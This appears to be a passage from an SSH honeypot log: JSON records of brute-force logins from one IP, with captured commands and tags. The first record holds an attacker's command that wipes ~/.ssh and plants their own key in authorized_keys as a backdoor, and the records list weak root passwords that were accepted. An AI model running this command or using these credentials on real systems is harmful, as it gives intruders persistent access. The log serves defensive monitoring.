"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Credential acceptance event recorded. Target authentication: root / Aa12345678@
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "c0401d4d0e6b",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:13:48.663933Z",
"end_time": "2026-09-26T18:13:50.716070Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Aa12345678@"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: root / 123123aaa
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "1c9d48b9d1f7",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:13:44.310647Z",
"end_time": "2026-09-26T18:13:47.936531Z",
"duration": "3.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "123123aaa"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: root / QweAsd!23
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "0ee0247911e0",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:13:39.076516Z",
"end_time": "2026-09-26T18:13:41.736825Z",
"duration": "2.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "QweAsd!23"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user4
{
"id": "262541540ddb",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:13:33.976799Z",
"end_time": "2026-09-26T18:13:36.735769Z",
"duration": "2.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user4",
"pass": "user4"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 11223344556677889900
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "e4f28bea9fa9",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:13:29.081853Z",
"end_time": "2026-09-26T18:13:31.423243Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "11223344556677889900"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Credential acceptance event recorded. Target authentication: git / 123
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "592bcea0d258",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:13:24.447020Z",
"end_time": "2026-09-26T18:13:26.797778Z",
"duration": "2.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "git",
"pass": "123"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dev
{
"id": "a7d8f524e94f",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:13:19.559441Z",
"end_time": "2026-09-26T18:13:21.653947Z",
"duration": "2.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "dev",
"pass": "password"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: web
{
"id": "7de26a50da31",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:13:14.942844Z",
"end_time": "2026-09-26T18:13:18.606519Z",
"duration": "3.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "web",
"pass": "web123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / changemeNOW
Remote entity achieved interactive shell state. Command sequence (1 executed):
{
"id": "189802542865",
"src_ip": "109.160.32.119",
"start_time": "2026-09-26T18:13:09.303694Z",
"end_time": "2026-09-26T18:13:11.673828Z",
"duration": "2.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "changemeNOW"
},
"commands": [
"uname -s -v -n -r -m"
],
"detailed_commands": [
{
"cmd": "uname -s -v -n -r -m",
"failed": false,
"error": null
}
],
"failed_commands": [],
"score": 100,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN",
"RECONNAISSANCE"
]
}